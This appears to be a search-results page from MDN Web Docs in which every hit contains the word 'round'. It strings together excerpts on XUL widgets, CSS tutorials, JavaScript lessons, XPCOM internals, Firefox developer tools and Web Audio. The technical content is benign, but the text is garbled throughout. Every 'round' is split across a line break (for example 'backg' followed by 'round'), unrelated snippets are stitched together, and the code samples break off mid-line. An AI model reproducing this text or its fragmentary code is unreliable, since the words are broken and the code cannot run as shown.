round-color: lightgrey; } button#rd { backg
round-color: red; color: white; } save it in the same directory as your xul file.
Tree Box Objects - Archive of obsolete content
note that redrawing does not occur until the calling script ends since mozilla does not redraw in the backg
round.
...if you move the mouse a
round in the previous example, you might notice the label change between 'text' and 'cell'.
... the value 'text' indicates the area where the text would be drawn and the value 'cell' indicates the area a
round the text, for example, the margin on the left side where the open and close twisties are normally drawn.
resizer - Archive of obsolete content
attributes dir, element, type examples resizing a window <window xmlns="http://www.mozilla.org/keymaster/gat...re.is.only.xul" hidechrome="true" windowtype="main" orient="vertical" sizemode="normal" width="400" height="300" persist="screenx screeny width height"> <hbox flex="1"> <vbox width="2" style="backg
round-color: grey;"> <resizer dir="topleft" height="2" style="cursor: nw-resize;"/> <resizer dir="left" flex="1" style="cursor: w-resize;"/> <resizer dir="bottomleft" height="2" style="cursor: sw-resize;"/> </vbox> <vbox flex="1"> <resizer dir="top" height="2" style="backg
round-color: grey; cursor: n-resize;"/> <browser flex="1" id="browser" type="content-primary"/> <resizer dir="...
...bottom" height="2" style="backg
round-color: grey; cursor: s-resize;"/> </vbox> <vbox width="2" style="backg
round-color: grey; overflow: hidden;"> <resizer dir="topright" height="2" style="cursor: ne-resize;"/> <resizer dir="right" flex="1" style="cursor: e-resize;"/> <resizer dir="bottomright" height="2" style="cursor: se-resize;"/> </vbox> </hbox> </window> resizing an element <stack style="border: 1px solid black;"> <button id="button" label="resizable" left="18" top="18" right="18" bottom="18"/> <resizer dir="topleft" style="backg
round: black; -moz-appearance: none;" element="button" left="0" top="0" width="16" height="16"/> <resizer dir="topright" style="backg
round: black; -moz-appearance: none;" element="button" right="0" top="0" width="16" he...
...ight="16"/> <resizer dir="bottomleft" style="backg
round: black; -moz-appearance: none;" element="button" left="0" bottom="0" width="16" height="16"/> <resizer dir="bottomright" style="backg
round: black; -moz-appearance: none;" element="button" right="0" bottom="0" width="16" height="16"/> </stack> attributes dir type: one of the values below the direction that the window is resized.
window - Archive of obsolete content
by default, the window will have a platform-specific frame a
round it.
... activetitlebarcolor type: color string specify backg
round color of the window's titlebar when it is active (foreg
round).
... inactivetitlebarcolor type: color string specify backg
round color of the window's titlebar when it is inactive (backg
round).
Archived Mozilla and build documentation - Archive of obsolete content
drag and drop this section describes how to implement objects that can be dragged a
round and dropped onto other objects.
... space manager high level design the space manager and associated classes and structures are used by block and line layout to manage rectangular regions that are occupied and available, for correct handling of floated elements and the elements that flow a
round them.
...this information is used by block layout to correctly compute where other floated elements should be placed, and how much space is available to normal in-flow elements that flow a
round the floated bits.
Extentsions FAQ - Archive of obsolete content
there are worka
rounds to this restriction by messing a
round with overflow or negative margins but i forgot offhand how to do that.
... var tab = gbrowser.addtab( url ); // and if you want it to load in the foreg
round: gbrowser.selectedtab = tab; is it possible to read the html-code of the current url/site?
... is there some worka
round for the timing issue with windows and linux?
-ms-wrap-through - Archive of obsolete content
the -ms-wrap-through css property is a microsoft extension that specifies how content should wrap a
round an exclusion element.
...its descendant inline content wraps a
round exclusions defined outside the element.
... remarks you can use the -ms-wrap-through property to control the effect of exclusions; for instance, to cause one content block to wrap a
round an exclusion element and another to intersect the same exclusion element.
:-moz-system-metric(windows-default-theme) - Archive of obsolete content
example html content <p id="defaultthemes"> this paragraph should have a green backg
round with luna/royale/zune/aero windows themes and red with other themes.
... </p> <p id="nondefaultthemes"> this paragraph should have a green backg
round with windows classic or third-party themes and red with other themes.
... </p> <p id="notsupported">theme detection is not supported.</p> css content #defaultthemes, #nondefaultthemes { backg
round-color: #ffa0a0; } #defaultthemes:-moz-system-metric(windows-default-theme) { backg
round-color: #a0ffa0; } #nondefaultthemes:not(-moz-system-metric(windows-default-theme)) { backg
round-color: #a0ffa0; } #notsupported:-moz-system-metric(windows-default-theme), #notsupported:not(:-moz-system-metric(windows-default-theme)) { display: none; } specifications not part of any specification.
Windows Media in Netscape - Archive of obsolete content
instead of doing that, this is the recommendation and worka
round for netscape 7.1: <script for="player" event="scriptcommand(type, param)"> if (type == "text") { var cap = document.getelementbyid("captext"); cap.innerhtml = param; } </script> more detailed examples are available in the final section on examples and sample code.
...in the case of close captioning media content, the player api player.closedcaption.captioningid = "captext"; is not supported, and the worka
round is to capture events fired by the media player in script using script for event.
... closecap-outtakes.html shows the closed captioning worka
round and scripting.
Archive of obsolete content
beginner tutorials this page includes archived beginners tutorials, from various places a
round mdn.
...it brings a lot of long-awaited novelties, like
rounded corners, shadows, gradients, transitions or animations, as well as new layouts like multi-columns, flexible box or grid layouts.
...due to a limitation of the present implementation of nspr io on nt, programs must follow the following guideline: using ssh to connect to cvs using web standards in your web pages using workers in extensions this article shows you how to use worker threads in extensions to perform tasks in the backg
round without blocking the user interface.
Index - Game development
51 load the assets and print them on screen 2d, beginner, canvas, games, javascript, phaser, sprites, tutorial our game will feature a ball rolling a
round the screen, bouncing off a paddle, and destroying bricks to earn points — familiar, huh?
...we need a way to introduce gameplay, so in this article we'll create a paddle to move a
round and hit the ball with.
... 65 game over beginner, canvas, games, graphics, javascript, tutorial, game over it's fun to watch the ball bouncing off the walls and be able to move the paddle a
round, but other than that the game does nothing and doesn't have any progression or end goal.
Scaling - Game development
adding a custom canvas backg
round colour we can also add a custom backg
round color to our canvas, so it won't stay black.
... the stage object has a backg
roundcolor property for this purpose, which we can set using css color definition syntax.
... add the following line below the other three you added earlier: game.stage.backg
roundcolor = '#eee'; compare your code you can check the finished code for this lesson in the live demo below, and play with it to understand better how it works: next steps now we've set up the scaling for our game, let's continue to the third lesson and work out how to load the assets and print them on screen.
2D maze game with device orientation - Game development
you can create this yourself if you want to follow along: <!doctype html> <html> <head> <meta charset="utf-8" /> <title>cyber orb demo</title> <style> body { margin: 0; backg
round: #333; } </style> <script src="src/phaser-arcade-physics.2.2.2.min.js"></script> <script src="src/boot.js"></script> <script src="src/preloader.js"></script> <script src="src/mainmenu.js"></script> <script src="src/howto.js"></script> <script src="src/game.js"></script> </head> <body> <script> (function() { var game = new phaser.game(320, 480, phaser.canvas, 'game'); ...
... controlling the ball it’s cool to have the ball ready to be thrown a
round in the play area, but it’s also important to be able to actually move it!
... adding the hole the main objective in the game is to move the ball from the starting position to the ending position: a hole in the g
round.
CSS - MDN Web Docs Glossary: Definitions of Web-related terms
here is an example that makes every html paragraph yellow against a black backg
round: /* the selector "p" indicates that all paragraphs in the document will be affected by that rule */ p { /* the "color" property defines the text color, in this case yellow.
... */ color: yellow; /* the "backg
round-color" property defines the backg
round color, in this case black.
... */ backg
round-color: black } "cascading" refers to the rules that govern how selectors are prioritized to change a page's appearance.
Grid Lines - MDN Web Docs Glossary: Definitions of Web-related terms
* {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div>one</div> <div>two</div> <div>three</div> <div>four</div> <div>five</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1f...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="item">item</div> </div> .wrapper { display: grid; grid-template-columns: repeat(3, 1...
... * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; backg
round-color: #fff4e6; display: grid; grid-template-columns: repeat(3, 1fr); grid-template-rows: repeat(3, 100px); } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; backg
round-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="item">item</div> </div> .wrapper { display: grid; grid-template-columns: [col1-start...
Pseudo-classes and pseudo-elements - Learn web development
it acts as if a <span> was magically wrapped a
round that first formatted line, and updated each time the line length changed.
...you can play a
round with the css and change how it looks and behaves.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backg
rounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Sizing items in CSS - Learn web development
understanding how big the different features in your design will be is important, and in this lesson we will summarize the various ways elements get a size via css and define a few terms a
round sizing that will help you in the future.
...this means you can have equal-sized margins and padding all a
round the box.
... previous overview: building blocks next in this module cascade and inheritance css selectors type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model backg
rounds and borders handling different text directions overflowing content values and units sizing items in css images, media, and form elements styling tables debugging css organizing your css ...
Test your skills: values and units - Learn web development
task one in this task, the first list item has been given a backg
round color using hex color codes.
... your task is to complete the css using the same color in different formats, plus a final list item where you should make the backg
round semi-opaque.
... task three in this task you need move the backg
round image so that it is centered horizontally, and 20% from the top of the box.
Beginner's guide to media queries - Learn web development
you can start with your desktop or widest view and then add breakpoints to move things a
round as the viewport becomes smaller, or you can start with the smallest view and add layout as the viewport becomes larger.
... walkthrough: a simple mobile-first layout our starting point is an html document with some css applied to add backg
round colors to the various parts of the layout.
... * { box-sizing: border-box; } body { width: 90%; margin: 2em auto; font: 1em/1.3 arial, helvetica, sans-serif; } a:link, a:visited { color: #333; } nav ul, aside ul { list-style: none; padding: 0; } nav a:link, nav a:visited { backg
round-color: rgba(207, 232, 220, 0.2); border: 2px solid rgb(79, 185, 227); text-decoration: none; display: block; padding: 10px; color: #333; font-weight: bold; } nav a:hover { backg
round-color: rgba(207, 232, 220, 0.7); } .related { backg
round-color: rgba(79, 185, 227, 0.3); border: 1px solid rgb(79, 185, 227); padding: 10px; } .sidebar { backg
round-color: rgba(207, 232, 220, 0.5); padding: 10px; } article { margin-bottom: 1em; } we've made no layout changes, however the...
What is CSS? - Learn web development
you'll see reference to these modules as you explore mdn and many of the documentation pages are organized a
round a particular module.
... for example, you could take a look at the mdn reference to the backg
rounds and borders module to find out what its purpose is, and what different properties and other features it contains.
... for a specific example, let's go back to the backg
rounds and borders module — you might think that it makes logical sense for the backg
round-color and border-color properties to be defined in this module.
Use CSS to solve common problems - Learn web development
es how to use pseudo-elements how to apply multiple selectors to the same rule how to specify colors in css how to debug css in the browser css and text how to style text how to customize a list of elements how to style links how to add shadows to text boxes and layouts how to size css boxes how to control overflowing content how to control the part of a css box that the backg
round is drawn under how do i define inline, block, and inline-block?
... how to use backg
round-clip to control how much of the box your backg
round image covers.
... how to change the box model completely using box-sizing how to control backg
rounds how to control borders how to style an html table how to add shadows to boxes uncommon and advanced techniques css allows some advanced design techniques.
Fundamental text and font styling - Learn web development
but it was a rare occasion such as this that he did.</p> you can find the finished example on github (see also the source code.) color the color property sets the color of the foreg
round content of the selected elements (which is usually the text, but can also include a couple of other things, such as an underline or overline placed on text using the text-decoration property).
... note: font names that have more than one word — like trebuchet ms — need to be sur
rounded by quotes, for example "trebuchet ms".
...body text generally looks nicer and is easier to read when the lines are spaced apart; the recommended line height is a
round 1.5 – 2 (double spaced.) so to set our lines of text to 1.6 times the height of the font, you'd use this: line-height: 1.6; applying this to the <p> elements in our example would give us this result: hidden example2 <h1>tommy the cat</h1> <p>well i remember it as though it were a meal ago...</p> <p>said tommy the cat as he reeled back to clear whatever foreign matter may have nestled it...
Learn to style HTML using CSS - Learn web development
this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling backg
rounds and borders, debugging, and lots more.
...we
round off the module by looking at applying custom fonts to your page, and styling lists and links.
... from the beginning, you'll primarily apply colors to html elements and their backg
rounds; change the size, shape, and position of elements; and add and define borders on elements.
What are hyperlinks? - Learn web development
back in 1989, tim berners-lee, the web's inventor, spoke of the three pillars on which the web stands: url, an address system that keeps track of web documents http, a transfer protocol to find documents when given their urls html, a document format allowing for embedded hyperlinks as you can see in the three pillars, everything on the web revolves a
round documents and how to access them.
... links stand out from the sur
rounding text by being underlined and in blue text.
... to get some more theoretical backg
round, learn about urls and their structure, since every link points to a url.
The HTML5 input types - Learn web development
it is a helpful aid to guide users to fill out a form accurately, and it can save time — it is useful to know that your data is not correct immediately, rather than having to wait for a
round trip to the server.
...often, search fields are rendered with
rounded corners; they also sometimes display an "Ⓧ", which clears the field of any value when clicked).
... the following firefox for android keyboard screenshot provides an example: due to the wide variety of phone number formats a
round the world, this type of field does not enforce any constraints on the value entered by a user (this means it may include letters, etc.).
Tips for authoring fast-loading HTML pages - Learn web development
if you use backg
round images a lot in your css, you can reduce the number of http lookups needed by combining the images into one, known as an image sprite.
... then you just apply the same image each time you need it for a backg
round and adjust the x/y coordinates appropriately.
... this technique works best with elements that will have limited dimensions, and will not work for every use of a backg
round image.
Document and website structure - Learn web development
with the right css, you could use pretty much any elements to wrap a
round the different sections and get it looking how you wanted, but as discussed before, we need to respect semantics and use the right element for the right job.
... note: colorblind people represent a
round 4% of the world population or, to put it another way, approximately 1 in every 12 men and 1 in every 200 women are colorblind.
... blind and visually impaired people represent roughly 4-5% of the world population (in 2012 there were 285 million such people in the world, while the total population was a
round 7 billion).
Basic math in JavaScript — numbers and operators - Learn web development
for example, to
round your number to a fixed number of decimal places, use the tofixed() method.
... if you want to override operator precedence, you can put parentheses
round the parts that you want to be explicitly dealt with first.
...you can see that it's been incremented if you return the variable value again: num1; the same is true of -- : try the following let num2 = 6; num2--; num2; note: you can make the browser do it the other way
round — increment/decrement the variable then return the value — by putting the operator at the start of the variable instead of the end.
Silly story generator - Learn web development
concatenate ' stone' onto the end of the result of the overall math.
round() call.
...concatenate ' centigrade' onto the end of the result of the overall math.
round() call.
...the following for example turns the backg
round of the <html> element red — so the entire browser window should go red if the javascript is applied properly: document.queryselector('html').style.backg
roundcolor = 'red'; math.
round() is a built-in javascript method that simply
rounds the result of a calculation to the nearest whole number.
Useful string methods - Learn web development
extcontent = input; list.appendchild(listitem); } } </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; backg
round: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssol...
...tem.textcontent = result; list.appendchild(listitem); } </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; backg
round: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jssol...
...tem.textcontent = result; list.appendchild(listitem); } </textarea> <div class="playable-buttons"> <input id="reset" type="button" value="reset"> <input id="solution" type="button" value="show solution"> </div> html { font-family: sans-serif; } h2 { font-size: 16px; } .a11y-label { margin: 0; text-align: right; font-size: 0.7rem; width: 98%; } body { margin: 10px; backg
round: #f5f9fa; } const textarea = document.getelementbyid('code'); const reset = document.getelementbyid('reset'); const solution = document.getelementbyid('solution'); let code = textarea.value; let userentry = textarea.value; function updatecode() { eval(textarea.value); } reset.addeventlistener('click', function() { textarea.value = code; userentry = textarea.value; solutionentry = jsso...
Introduction to client-side frameworks - Learn web development
there are a number of advantages of this approach, mostly a
round performance (your user's device isn’t building the page with javascript; it's already complete) and security (static pages have fewer attack vectors).
... static site generators have been a
round for quite a long time, but they have seen a bit of a revival in the recent history of the web.
... summary and that brings us to the end of our introduction to frameworks — we’ve not taught you any code yet, but hopefully we've given you a useful backg
round on why you'd use frameworks in the first place and how to go about choosing one, and made you excited to learn more and get stuck in!
Framework main features - Learn web development
while it is possible to build framework apps without using these domain-specific languages, embracing them will streamline your development process and make it easier to find help from the communities a
round those frameworks.
...the curly braces a
round subject on line 4 tell the application to read the value of the subject constant and insert it into our <h1>.
... given this handlebars template: <header> <h1>hello, {{subject}}!</h1> </header> and this data: { subject: "world" } handlebars will build html like this: <header> <h1>hello, world!</h1> </header> typescript typescript is a superset of javascript, meaning it extends javascript — all javascript code is valid typescript, but not the other way a
round.
Introduction to automated testing - Learn web development
this works on the premise that things like gulp plugins are basically wrappers a
round command line tools.
... from here you can see the layout as it would look in the browser you are testing, move the mouse a
round and try clicking buttons, etc.
... from here you can see the layout as it would look in the browser you are testing, move the mouse a
round and try clicking buttons, etc.
Introduction to cross browser testing - Learn web development
this is inevitable when you are dealing with bleeding edge features that browsers are just getting
round to implementing, or if you have to support really old browsers that are no longer being developed, which may have been frozen (i.e.
...this may involve writing different code paths that reproduce functionality in different ways aimed at different browsers, or using a polyfill to mimic any missing support using javascript or other technologies, or using a library that allows you to write a single bit of code and then does different things in the backg
round depending on what the browser supports.
...once you've discovered what is causing your bug, you need to decide how to work a
round it in the particular browser it is causing problems in — you can't just change the problem code outright, as this may break the code in other browsers.
Mozilla’s UAAG evaluation report
checkpoint title status notes/plans 3.1 toggle backg
round images.
... (p1) c preferences, appearance, colors - "use my chosen colors, ignoring the colors and backg
round image specified" 3.2 toggle audio, video, animated images.
...(p1) vg provides a focus outline box highlights follow graphical rendering conventions for windows does not highlight selected images we do not have the ability to show a border a
round the text selection we have the following focus appearance prefs that are not exposed in the ui, but can be manually inserted in the user's prefs.js file: setboolpref("browser.display.use_focus_colors", usefocuscolors); /* true or false */ setcharpref("browser.display.focus_backg
round_color", colorstring); /* for example #ffeedd or the name of a color */ setcharpref("browser.displa...
Debugging on Windows
there are two ways to work a
round this problem: turn off automatic symbol downloading for system libraries: in tools > options > debugging > symbols, uncheck the microsoft symbol server.
... for more details, including a work-a
round see this blog post or this social.msdn thread.
... (and just in-case those links die, the work-a
round is to execute bcdedit /set xsavedisable 1 from an elevated command-prompt to disable avx support.) got a tip?
Using the Browser API
this is implemented in our sample app with the following functions: browser.addeventlistener('mozbrowserloadstart',function() { stopreload.textcontent = 'x'; }); browser.addeventlistener('mozbrowserloadend',function(e) { canmovebwd(); canmovefwd(); stopreload.textcontent = 'r'; console.log(e.detail.backg
roundcolor); controls.style.backg
round = e.detail.backg
roundcolor; }); when the mozbrowserloadstart event fires, the latest page request has started loading, and we change the button to a cross to indicate "stop".
... in addition, the backg
round of the controls ui bar is changed to the backg
round color of the site that has just loaded, to provide a more integrated experience — this can be read out of the event object's e.detail.backg
roundcolor value.
... when the front page of https://developer.mozilla.org is loaded, for example, the e.detail.backg
roundcolor value reported is rgb(0, 83, 159).
HTML parser threading
initialization an nshtml5parser is constructed without an nshtml5streamparser due to legacy code structure a
round parser creation.
...a handle points to memory allocated by the tree builder and guaranteed to stick a
round for the life time of the parser.
...(nshtml5treeopexecutor::runflushloop is on the call stack already in this case and will loop a
round to start flushing the ops right away.) if there's only one speculation or the speculation failed, it's necessary to bother the parser thread.
CustomizableUI.jsm
typically, you would do this using a try...finally block wrapped a
round your insertion code.
... parameters aproperties the specification for the widget return value a wrapper a
round the created widget.
... parameters awidgetid the id of the widget whose information you need return value a wrapper a
round the widget as described above, or null if the widget is known not to exist (any more).
Sqlite.jsm
the sqlite.jsm javascript code module is a promise-based wrapper a
round the storage/sqlite interface.
...this is a glorified wrapper a
round the pragma shrink_memory statement, which tells sqlite to shrink its memory usage (by clearing caches, etc).
...this is a wrapper a
round the pragma user_version statement.
Mozilla DOM Hacking Guide
the relevant code is at nsdomclassinfo.cpp, a
round line 4520.
...specifically, due to some changes that happened a
round, april 2002, some things that were not possible before are now possible.
... for domimplementation, this is a
round line 1220 (at the time of writing this document): 1224 dom_classinfo_map_begin(domimplementation, nsidomdomimplementation) the next line specifies that the domimplementation object implements the nsidomdomimplementation interface.
Mozilla Web Developer FAQ
these aspects of the layout can be changed by explicitly setting the display css property of the images (and possible sur
rounding <a> elements) to block.
...when xhtml output has been retrofitted to a content management system that was not designed for xml from the g
round up, the system usually ends up discriminating gecko users by serving tag soup labeled as xml to gecko (leading to a parse error) and serving the same soup labeled as text/html to ie (not leading to a parse error).
...this affects data
round tripping using hidden form inputs.
Profiling with Xperf
(note that it's not the first version number in the about window; that's the windows version.) if you have an older version, you will experience bugs, especially a
round symbol loading for local builds.
...it's possible to get a
round that by doing a simultaneous capture of non-heap data.
... dragging the columns a
round will change grouping in various ways; experiment to get the data that you're looking for.
Animated PNG graphics
as per the png specification, if a 'bkgd' chunk exists it may be used to fill the canvas if there is no preferrable backg
round.
... 1 apng_dispose_op_backg
round the frame's region of the output buffer is to be cleared to fully transparent black before rendering the next frame.
... if the first 'fctl' chunk uses a dispose_op of apng_dispose_op_previous it should be treated as apng_dispose_op_backg
round.
XPCOM array guide
typesafe arrays nscomarray<t> nscomarray<t> is a wrapper a
round nstarray<t>, so it has a similar api.
...you can work a
round this by using nstarray<uniqueptr<t>> instead.
... nsistringenumerator string enumerators provide an easy way to pass a list of strings a
round with minimal copying.
Avoiding leaks in JavaScript XPCOM components
one might think that the wrappers of native xpcom objects (to allow them to be used from javascript) would just work the other way a
round.
...this means that without some worka
round, all of the browsers will remain in memory until the parent window is closed.
... the worka
round is simple: we have a destroy method on browser that tabbrowser can call when it's done with a browser.
Using XPCOM Utilities to Make Things Easier
interface must be generated by xpidl using the macros described here, the code for the weblock component has gone from a
round 340 lines of code to just under 40.
...for weblock, where the string classes need to be only wrappers a
round already existing string data, trading advanced functionality for a much smaller footprint is the right way to go.
...if you need to keep this string data a
round past the lifetime of the string object, you must make a copy.
Detailed XPCOM hashtable guide
nsthashtable - low-level c++ wrapper a
round pldhash; generates callback functions and handles most casting automagically.
... nsdatahashtable/nsinterfacehashtable/nsclasshashtable - high-level c++ wrappers a
round pldhash; simplifies the common usage pattern mapping a simple keytype to a simple datatype; client does not need to declare or manage an entry class; nsdatahashtable datatype is a scalar such as pruint32; nsinterfacehashtable datatype is an interface; nsclasshashtable datatype is a class pointer owned by the hashtable.
...they provide the following features: hashtable operations can be completed without using an entry class, making code easier to read; optional thread-safety: the hashtable can manage a read-write lock a
round the table; predefined key classes provide automatic cleanup of strings/interfaces nsinterfacehashtable and nsclasshashtable automatically release/delete objects to avoid leaks.
Mozilla internal string guide
capacity-aware means that the caller is made aware of how the caller-requested buffer capacity was
rounded up to mozjemalloc buckets.
...if the data that actually needs to be written is larger than the best-case estimate but still fits within the
rounded-up capacity, there is no need to reallocate despite requesting the best-case capacity.
... bulkwrite() takes four arguments: the new capacity (which may be
rounded up), the number of code units at the beginning of the string to preserve (typically the old logical length), a boolean indicating whether reallocating a smaller buffer is ok if the requested capacity would fit in a buffer that's smaller than current one, and a reference to an nsresult for indicating failure on oom.
nsILoadGroup
rview void addrequest(in nsirequest arequest, in nsisupports acontext); void removerequest(in nsirequest arequest, in nsisupports acontext, in nsresult astatus); attributes attribute type description activecount unsigned long returns the count of "active" requests (that is requests without the load_backg
round bit set).
...if this is a foreg
round request then the groupobserver's onstartrequest will be called.
...if this is a foreg
round request then the groupobserver's onstoprequest will be called.
nsITaskbarPreviewController
return value true if you want a frame drawn a
round the preview, otherwise false.
... note: it's guaranteed that width ÷ height will equal the thumbnailaspectratio, within the margin of
rounding errors.
... return value true if you want a frame drawn a
round the thumbnail, otherwise false.
nsITreeView
orientation the position a
round the given row.
... orientation the position a
round the given row.
... getcolumnproperties() called to get properties to paint a column backg
round.
Performance
when you execute a sql statement in isolation, an implicit transaction is created a
round that statement.
...therefore, if you are doing many transactions in a row, you will get significant performance improvements by sur
rounding them in a transaction.
...the way to work a
round this is to run the vacuum command to remove this space.
wrappedJSObject
ent gets wrapped by xpconnect in the same way: var comp = components.classes["@myself.com/my-component;1"].getservice(); if we try to call the hello() method we defined in our component implementation, we get: > comp.hello(); typeerror on line 1: comp.hello is not a function this happens because, as we mentioned earlier, comp is not the helloworld js object itself, but an xpconnect wrapper a
round it: > dump(comp); [xpconnect wrapped nsisupports] the idea of these wrappers is to make the javascript-implemented xpcom components look just like any other xpcom component to the user.
... more specifically, as xpconnect source comments say, you can get comp.wrappedjsobject if three conditions are met: comp really is an xpconnect wrapper a
round a js object.
... wrappers a
round non-js objects don't have this property.
Creating a Custom Column
don't forget to add in a splitter before the column to ensure that the user can easily resize and drag our column a
round.
...most of the dirty tasks (displaying and sorting) are done for you in the backg
round - so that all that's left to you, the extension developer is to populate the code with your feature.
...what happens is: usually, the event sequence is: jsm load -> onload -> msgcreatedbview with enigmail, the event sequence becomes jsm load -> msgcreatedbview -> onload to worka
round this, you can either i) manually run addcustomhandler() at the end of your onload handler or ii) register createdbobserver when your .jsm is loaded.
Plug-in Basics - Plugins
the embed element has the following syntax and attributes: <embed src="location" type="mimetype" pluginspage="instrurl" pluginurl="pluginurl" align="left"|"right"|"top"|"bottom" border="borderwidth" frameborder="no" height="height" width="width" units="units" hidden="true|false" hspace="horizmargin" vspace="vertmargin" name="pluginname" palette="foreg
round"|"backg
round" > ...
... hspace and vspace create a margin of the specified width, in pixels, a
round the plug-in.
... border: draw a border 25 pixels wide a
round the plug-in.
Examine and edit CSS - Firefox Developer Tools
in the following example, a spelling error, "backg
round-colour" instead of "backg
round-color" has made the rule invalid: rule display it displays each rule as in a stylesheet, with a list of selectors followed by a list of property:value; declarations.
...(note that this setting is independent of the "browser styles" checkbox in the computed view.) user-agent styles are displayed against a different backg
round, and the link to the filename and line number contains the prefix (user agent): element {} rule the element {} rule at the top of the rules list isn't actually a css rule.
...for example, searching for "color" will highlight declarations containing border-bottom-color and backg
round-color as well as just color.: if you enclose the search query in backticks, like this: `color`, the search is restricted to exact matches: expanding shorthand properties shorthand properties can be expanded to display their related longhand properties by clicking the arrow besides them.
Select an element - Firefox Developer Tools
the highlighted element is the element that's overlaid in the page with a graphic showing the box model, and a tooltip showing its tag and size: with the context menu to open the inspector and select an element immediately, activate the context menu over the element in the page and select "inspect element": with the html pane when the inspector is open, as you move the mouse a
round the elements listed in the html pane, the corresponding elements are highlighted in the page.
... click an element in the html pane to select it: you can also use the arrow keys to move a
round the dom with the keyboard.
...after that, as you move the mouse a
round the page, the element under the mouse is highlighted.
Select and highlight elements - Firefox Developer Tools
the highlighted element is the element that's overlaid in the page with a graphic showing the box model, and a tooltip showing its tag and size: with the context menu to open the inspector and select an element immediately, activate the context menu over the element in the page and select "inspect element": with the html pane when the inspector is open, as you move the mouse a
round the elements listed in the html pane, the corresponding elements are highlighted in the page.
... click an element in the html pane to select it: you can also use the arrow keys to move a
round the dom with the keyboard.
...after that, as you move the mouse a
round the page, the element under the mouse is highlighted.
AudioListener.dopplerFactor - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
AudioListener.forwardX - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
round on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; }...
AudioListener.forwardY - Web APIs
you might be moving a character a
round inside a game world for example, and wanting delivery of audio to change realistically as your character moves closer to or further away from a music player such as a stereo.
... to see a complete implementation, check out our panner-node example (view the source code) — this demo transports you to the 2.5d "room of metal", where you can play a track on a boom box and then walk a
round the boom box to see how the sound changes!
...listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); listener.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves a
